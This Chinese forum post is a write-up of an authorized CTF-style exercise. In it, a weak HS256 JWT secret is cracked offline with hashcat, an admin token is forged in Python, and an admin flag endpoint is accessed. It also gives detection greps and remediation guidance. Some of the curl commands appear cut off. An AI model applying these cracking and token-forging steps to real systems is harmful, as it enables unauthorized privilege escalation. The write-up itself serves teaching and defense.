发布于昨天 23:331天前 背景最近在一个授权靶场式渗透演练里遇到一个比较典型的题型:入口不是传统漏洞扫描扫出来的高危,而是结合了社会工程信息收集、密码学错误配置和权限边界验证。场景很接近 CTF Web/密码学题:目标系统使用 JWT 做登录态,开发为了方便测试,把签名密钥设置成了弱口令,并且不同角色权限完全依赖 token 中的 role 字段。测试范围是授权的预生产环境,目标是验证:是否可以通过公开信息推断密钥、伪造管理员身份、访问管理接口,并最终获取演练 flag。这里重点记录排查链路、验证命令、日志留痕和修复建议。注意:以下内容适用于授权测试、CTF 靶场、内部安全验证。不要在未授权目标上尝试。问题定位初始入口来自一个普通账号。登录后观察响应头和 Cookie,发现服务端返回了一个典型 JWT:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciIsImlhdCI6MTcxOTAwMDAwMCwiZXhwIjoxNzE5MDAzNjAwfQ.xxxxxx从 header 看,算法是 HS256,也就是 HMAC-SHA256 对称签名。对称签名的关键点是:签发和验证使用同一个 secret。如果 secret 弱,攻击者可以离线爆破,然后自行签发 token。先做基础解码,确认 payload 里确实有权限字段:python3 - <<'PY' import base64, json jwt='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciIsImlhdCI6MTcxOTAwMDAwMCwiZXhwIjoxNzE5MDAzNjAwfQ.xxxxxx' for part in jwt.split('.')[:2]: pad='=' * (-len(part) % 4) print(json.dumps(json.loads(base64.urlsafe_b64decode(part+pad)), indent=2, ensure_ascii=False)) PY输出中可以看到:{ "alg": "HS256", "typ": "JWT" } { "user": "guest", "role": "user", "iat": 1719000000, "exp": 1719003600 }技术分析这个问题本质上不是“JWT 本身不安全”,而是以下几个配置和设计问题叠加:HS256 使用弱密钥,导致可以离线爆破。权限完全信任客户端携带的 role 字段。后端接口只验证 token 签名,不做服务端权限映射。管理接口缺少额外鉴权和操作审计。这里有一个很实用的判断方法:如果 JWT 使用 HS256,且目标系统存在公开项目名、公司简称、默认配置、README 泄露、测试账号泄露,那么弱密钥风险就要重点验证。很多 CTF 题也会把 secret 放在 Git 历史、前端 JS 注释、接口报错、Swagger 示例或 Docker 环境变量里。操作步骤1. 收集可能的密钥线索授权范围内先查公开信息和系统自身泄露点,不直接上大字典乱跑。常见位置:前端 JS 包:搜索 secret、jwt、token、auth、signature。Swagger/OpenAPI 文档:查看 Authorization 示例。报错信息:确认框架和中间件。Git 信息泄露:检查 .git、历史 commit、配置文件。默认配置:如 secret、jwtsecret、changeme、项目名缩写。例如在授权环境里抓到一个前端配置文件:GET /static/js/app.js // dev only const API_BASE = "/api"; const AUTH_HEADER = "Authorization"; const PROJECT = "coffee-ctf";项目名 coffee-ctf 可以加入小字典,组合测试。2. 离线验证 JWT 密钥强度这里用 hashcat 的 JWT 模式进行验证。注意这是离线计算,不会产生大量请求,但也要控制字典范围,避免无意义耗时。# 保存 JWT 到文件 cat > jwt.txt <<'EOF' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciIsImlhdCI6MTcxOTAwMDAwMCwiZXhwIjoxNzE5MDAzNjAwfQ.xxxxxx EOF # 准备小字典 cat > jwt_words.txt <<'EOF' secret jwtsecret changeme coffee coffee-ctf coffee_ctf admin123 ctf2024 EOF # hashcat JWT HS256/384/512 模式 hashcat -m 16500 -a 0 jwt.txt jwt_words.txt --quiet hashcat -m 16500 jwt.txt --show如果输出类似:eyJhbGci...省略...:coffee-ctf说明 HS256 secret 是 coffee-ctf,可以进行下一步伪造验证。3. 伪造管理员 token用 Python 重新签发 token,修改 role 为 admin,同时设置合理过期时间。这里不建议把 exp 设置得离谱,真实测试中更容易被日志发现,也不利于复现。python3 - <<'PY' import jwt, time secret = 'coffee-ctf' payload = { 'user': 'guest', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 600 } token = jwt.encode(payload, secret, algorithm='HS256') print(token) PY然后访问管理接口验证权限边界:TOKEN='这里替换为伪造后的JWT' curl -i \ -H "Authorization: Bearer $TOKEN" \ token 返回 403,而伪造 admin token 返回 200,说明服务端确实只依赖 JWT 中 role 做权限判断。4. 夺旗接口验证在这个靶场里,flag 位于管理接口:curl -s \ -H "Authorization: Bearer $TOKEN" \ role 完全取自 token payload:const jwt = require('jsonwebtoken'); const JWT_SECRET = 'coffee-ctf'; function auth(req, res, next) { const header = req.headers.authorization || ''; const token = header.replace('Bearer ', ''); try { req.user = jwt.verify(token, JWT_SECRET, { algorithms: ['HS256'] }); next(); } catch (e) { return res.status(401).json({ error: 'invalid token' }); } } function adminOnly(req, res, next) { if (req.user.role !== 'admin') { return res.status(403).json({ error: 'forbidden' }); } next(); } app.get('/api/admin/flag', auth, adminOnly, (req, res) => { res.json({ flag: process.env.FLAG }); });这段逻辑在 CTF 里很常见,但在真实业务里也并不少见。正确做法是 token 只作为身份凭证,权限应在服务端根据用户 ID 查询或缓存,不应该信任客户端可携带的权限声明。日志留痕与排查方法授权测试结束后,建议把日志证据整理清楚,方便研发复盘。重点看以下几类日志:认证日志:同一 user 在短时间内 role 从 user 变成 admin。接口访问日志:普通账号访问 /api/admin/*。JWT 验证日志:alg、kid、sub/user、iat、exp、jti。网关日志:Authorization 请求头不要完整落盘,但可以记录 token 指纹。Nginx 侧可以临时用 token 前 16 位或 SHA256 指纹辅助排查,避免泄露完整 token。应用层更推荐记录 jti 或 token hash:const crypto = require('crypto'); function tokenFingerprint(token) { return crypto.createHash('sha256').update(token).digest('hex').slice(0, 16); } console.log(JSON.stringify({ event: 'jwt_verified', user: req.user.user, role: req.user.role, iat: req.user.iat, exp: req.user.exp, token_fp: tokenFingerprint(token), path: req.path, ip: req.ip }));排查时可以关注这种异常模式:grep '"path":"/api/admin' app.log | grep '"user":"guest"' grep '"role":"admin"' app.log | grep '"user":"guest"'风险与修复建议使用高强度密钥:HS256 secret 至少 256 bit 随机值,不要使用项目名、公司名、默认值、短口令。密钥放入密钥管理系统:不要写死在代码、前端、镜像层、Git 仓库或配置模板里。限制 JWT 算法:服务端显式指定 algorithms,拒绝 none、拒绝非预期算法。不要信任客户端 role:JWT 中可以放 user_id、session_id、jti,权限应由服务端查询或从可信缓存中获取。增加 token 撤销能力:关键业务建议使用 jti 黑名单、版本号 token_version 或短有效期 refresh 机制。管理接口二次校验:后台接口应在服务端 RBAC/ABAC 层统一校验,不要散落在路由中简单判断字符串。完善审计日志:记录用户 ID、角色来源、接口路径、状态码、token 指纹、来源 IP,避免记录完整 token。一个更稳妥的权限判断示例:async function adminOnly(req, res, next) { const user = await db.users.findById(req.user.uid); if (!user || user.status !== 'active') { return res.status(401).json({ error: 'unauthorized' }); } const roles = await db.roles.findByUserId(user.id); if (!roles.includes('admin')) { return res.status(403).json({ error: 'forbidden' }); } req.currentUser = user; next(); }如果业务允许,也可以考虑 RS256/EdDSA 这类非对称签名,把签发和验证职责拆开。但要注意,算法切换不是万能修复,权限信任边界仍然要放在服务端。总结这类题在 CTF&密码学与社会工程板块很有代表性:先通过信息收集缩小密钥候选,再利用 HS256 弱密钥离线爆破,最后伪造 JWT 验证权限边界。真正值得关注的不是“拿到 flag”本身,而是背后的几个工程问题:密钥管理、权限来源、接口边界和审计留痕。实际授权渗透测试中,建议把验证过程控制在最小影响范围内:少量请求证明风险即可,不扩大访问面;同时保留命令、时间点、接口路径、状态码和修复建议,方便研发快速复现和闭环。 网络请求、日志与边界流量分析示意
创建帐户或登录后发表意见